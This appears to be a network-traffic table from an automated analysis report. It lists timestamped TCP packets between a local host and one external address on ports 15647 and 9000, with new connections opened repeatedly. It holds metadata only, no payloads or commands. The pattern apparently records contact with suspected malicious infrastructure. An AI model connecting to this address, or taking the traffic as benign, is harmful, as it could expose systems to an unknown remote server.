Dec 17, 2024 08:39:53.924444914 CET	49975	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:53.976342916 CET	15647	49975	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:53.976408005 CET	49975	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:54.044256926 CET	15647	49975	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:54.045845032 CET	49975	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:54.096153975 CET	15647	49975	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:54.096201897 CET	49975	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:54.129988909 CET	9000	49976	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:54.130132914 CET	9000	49976	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:54.130170107 CET	49976	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:54.130247116 CET	49976	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:54.165508032 CET	15647	49975	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:54.165561914 CET	49975	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:54.215918064 CET	15647	49975	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:54.215975046 CET	49975	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:54.244168043 CET	49980	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:54.249874115 CET	9000	49976	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:54.285345078 CET	15647	49975	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:54.285393000 CET	49975	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:54.335855007 CET	15647	49975	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:54.335925102 CET	49975	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:54.363751888 CET	9000	49980	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:54.363836050 CET	49980	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:54.364150047 CET	49980	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:54.405158043 CET	15647	49975	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:54.405256987 CET	49975	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:54.414773941 CET	15647	49975	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:54.462074995 CET	49975	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:54.483741045 CET	9000	49980	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:54.501446009 CET	15647	49975	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:54.501502037 CET	49975	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:54.525090933 CET	15647	49975	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:54.525137901 CET	49975	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:54.597567081 CET	15647	49975	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:54.597683907 CET	49975	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:54.621426105 CET	15647	49975	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:54.621504068 CET	49975	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:54.645230055 CET	15647	49975	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:54.645287991 CET	49975	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:54.717405081 CET	15647	49975	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:54.717557907 CET	15647	49975	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:54.718926907 CET	49975	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:54.741312027 CET	15647	49975	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:54.741410017 CET	49975	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:54.765063047 CET	15647	49975	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:54.767862082 CET	49975	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:54.789973021 CET	15647	49975	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:54.791877031 CET	49975	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:54.861103058 CET	15647	49975	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:54.861258984 CET	49975	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:54.910185099 CET	15647	49975	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:54.911048889 CET	49975	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:54.965481043 CET	15647	49975	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:54.965584993 CET	49975	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:54.992194891 CET	15647	49975	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:54.992548943 CET	49975	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:55.025556087 CET	15647	49975	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:55.025659084 CET	49975	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:55.030915976 CET	15647	49975	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:55.085433006 CET	15647	49975	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:55.086853027 CET	49975	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:55.112423897 CET	15647	49975	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:55.112509012 CET	49975	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:55.149271011 CET	15647	49975	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:55.149427891 CET	49975	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:55.184422970 CET	15647	49975	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:55.187798977 CET	49975	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:55.235342979 CET	15647	49975	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:55.235451937 CET	49975	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:55.279726982 CET	15647	49975	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:55.279870987 CET	49975	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:55.356683016 CET	15647	49975	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:55.356781960 CET	49975	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:55.400522947 CET	15647	49975	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:55.403809071 CET	49975	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:55.478271961 CET	15647	49975	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:55.478363991 CET	49975	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:55.548401117 CET	15647	49975	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:55.548511982 CET	49975	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:55.669342995 CET	15647	49975	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:55.669439077 CET	49975	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:55.670270920 CET	15647	49975	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:55.691658020 CET	9000	49980	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:55.691670895 CET	9000	49980	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:55.691777945 CET	49980	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:55.692549944 CET	49980	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:55.712136984 CET	49975	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:55.781591892 CET	15647	49975	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:55.781676054 CET	49975	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:55.806380033 CET	49984	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:55.813231945 CET	9000	49980	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:55.901849031 CET	15647	49975	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:55.901921988 CET	49975	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:55.927131891 CET	9000	49984	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:55.927205086 CET	49984	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:55.927535057 CET	49984	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:55.991431952 CET	15647	49975	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:55.991784096 CET	49975	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:56.048706055 CET	9000	49984	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:56.093604088 CET	15647	49975	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:56.093714952 CET	49975	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:56.216527939 CET	15647	49975	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:56.216590881 CET	49975	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:56.216999054 CET	15647	49975	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:56.217060089 CET	49975	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:56.306657076 CET	15647	49975	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:56.306746006 CET	49975	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:56.407931089 CET	15647	49975	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:56.408020020 CET	49975	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:56.498578072 CET	15647	49975	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:56.498693943 CET	49975	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:56.618446112 CET	15647	49975	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:56.618520975 CET	49975	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:56.618869066 CET	15647	49975	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:56.665208101 CET	49975	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:56.810681105 CET	15647	49975	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:56.810796022 CET	49975	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:56.857635975 CET	15647	49975	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:56.857738972 CET	49975	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:56.977608919 CET	15647	49975	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:56.977761984 CET	49975	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:57.002790928 CET	15647	49975	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:57.003021955 CET	49975	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:57.122958899 CET	15647	49975	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:57.123145103 CET	49975	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:57.253032923 CET	9000	49984	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:57.253062010 CET	9000	49984	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:57.253205061 CET	49984	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:57.253206015 CET	49984	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:57.290025949 CET	15647	49975	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:57.290110111 CET	49975	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:57.369158983 CET	49989	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:57.373025894 CET	9000	49984	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:57.435435057 CET	15647	49975	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:57.436002970 CET	49975	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:57.489213943 CET	9000	49989	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:57.491960049 CET	49989	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:57.493380070 CET	49989	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:57.565541029 CET	15647	49975	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:57.565661907 CET	49975	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:57.613306046 CET	9000	49989	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:57.674880028 CET	15647	49975	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:57.675669909 CET	49975	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:57.751002073 CET	15647	49975	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:57.751113892 CET	49975	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:57.871098042 CET	15647	49975	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:57.871207952 CET	49975	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:57.877783060 CET	15647	49975	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:57.930831909 CET	49975	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:58.063246012 CET	15647	49975	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:58.063349962 CET	49975	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:58.183412075 CET	15647	49975	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:58.183619976 CET	49975	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:58.369502068 CET	15647	49975	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:58.369591951 CET	49975	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:58.605631113 CET	15647	49975	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:58.605797052 CET	49975	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:58.681859970 CET	15647	49975	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:58.682449102 CET	49975	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:58.797681093 CET	15647	49975	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:58.815121889 CET	9000	49989	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:58.815339088 CET	9000	49989	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:58.815345049 CET	49989	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:58.818300009 CET	49989	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:58.834836960 CET	49975	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:58.931713104 CET	49994	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:58.935060978 CET	9000	49989	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:58.990259886 CET	15647	49975	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:58.990379095 CET	49975	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:59.051678896 CET	9000	49994	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:59.051764965 CET	49994	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:59.051923990 CET	49994	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:59.147134066 CET	15647	49975	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:59.147325039 CET	49975	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:59.171663046 CET	9000	49994	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:59.302844048 CET	15647	49975	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:59.303000927 CET	49975	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:59.459522963 CET	15647	49975	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:59.459656000 CET	49975	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:59.615305901 CET	15647	49975	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:59.615837097 CET	49975	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:59.771948099 CET	15647	49975	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:59.772052050 CET	49975	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:59.928467989 CET	15647	49975	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:59.928581953 CET	49975	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:00.084386110 CET	15647	49975	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:00.084489107 CET	49975	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:00.240684986 CET	15647	49975	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:00.240839005 CET	49975	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:00.376753092 CET	9000	49994	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:00.376764059 CET	9000	49994	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:00.376830101 CET	49994	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:00.376949072 CET	49994	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:00.396672964 CET	15647	49975	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:00.396801949 CET	49975	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:00.431113958 CET	49975	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:00.432032108 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:00.496726036 CET	9000	49994	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:00.551902056 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:00.551985025 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:00.552403927 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:00.588992119 CET	49999	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:00.672240973 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:00.672307968 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:00.709105015 CET	9000	49999	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:00.709188938 CET	49999	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:00.709382057 CET	49999	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:00.792160034 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:00.792243004 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:00.829632044 CET	9000	49999	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:00.912203074 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:00.912780046 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:01.032670975 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:01.034856081 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:01.155174971 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:01.158063889 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:01.277878046 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:01.280900955 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:01.400909901 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:01.401349068 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:01.521684885 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:01.521822929 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:01.642261982 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:01.642384052 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:01.754209042 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:01.754550934 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:01.762317896 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:01.762375116 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:01.874622107 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:01.874682903 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:01.883353949 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:01.994810104 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:01.994868994 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:02.032264948 CET	9000	49999	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:02.032282114 CET	9000	49999	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:02.032401085 CET	49999	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:02.032401085 CET	49999	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:02.114633083 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:02.114692926 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:02.135134935 CET	50003	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:02.152929068 CET	9000	49999	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:02.234612942 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:02.234685898 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:02.239842892 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:02.255192995 CET	9000	50003	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:02.255261898 CET	50003	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:02.255481005 CET	50003	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:02.305836916 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:02.375142097 CET	9000	50003	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:02.401328087 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:02.401388884 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:02.426743984 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:02.426893950 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:02.546601057 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:02.546643019 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:02.546729088 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:02.586313963 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:02.618628979 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:02.618704081 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:02.706114054 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:02.706185102 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:02.738636971 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:02.742136002 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:02.853442907 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:02.853739977 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:02.925476074 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:02.926080942 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:02.973519087 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:02.973720074 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:03.018966913 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:03.019093990 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:03.045860052 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:03.046185970 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:03.093723059 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:03.094362020 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:03.138784885 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:03.142471075 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:03.165585995 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:03.166166067 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:03.214051008 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:03.214138031 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:03.237967014 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:03.238114119 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:03.285887957 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:03.286328077 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:03.358642101 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:03.358753920 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:03.454497099 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:03.455010891 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:03.529411077 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:03.529676914 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:03.574842930 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:03.574956894 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:03.581335068 CET	9000	50003	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:03.581370115 CET	9000	50003	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:03.581465960 CET	50003	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:03.581871033 CET	50003	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:03.598273993 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:03.598465919 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:03.693384886 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:03.693877935 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:03.694684029 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:03.697401047 CET	50009	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:03.701739073 CET	9000	50003	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:03.718193054 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:03.718326092 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:03.766890049 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:03.766979933 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:03.813766003 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:03.813873053 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:03.817187071 CET	9000	50009	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:03.817846060 CET	50009	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:03.820192099 CET	50009	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:03.838040113 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:03.838140965 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:03.885411978 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:03.886820078 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:03.886900902 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:03.933990002 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:03.935065031 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:03.939939976 CET	9000	50009	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:03.958070993 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:03.958369017 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:03.958709955 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:03.958787918 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:04.054738045 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:04.078974962 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:04.179519892 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:04.197465897 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:04.197577000 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:04.317547083 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:04.317601919 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:04.389416933 CET	15647	49998	92.255.57.75	192.168.2.5
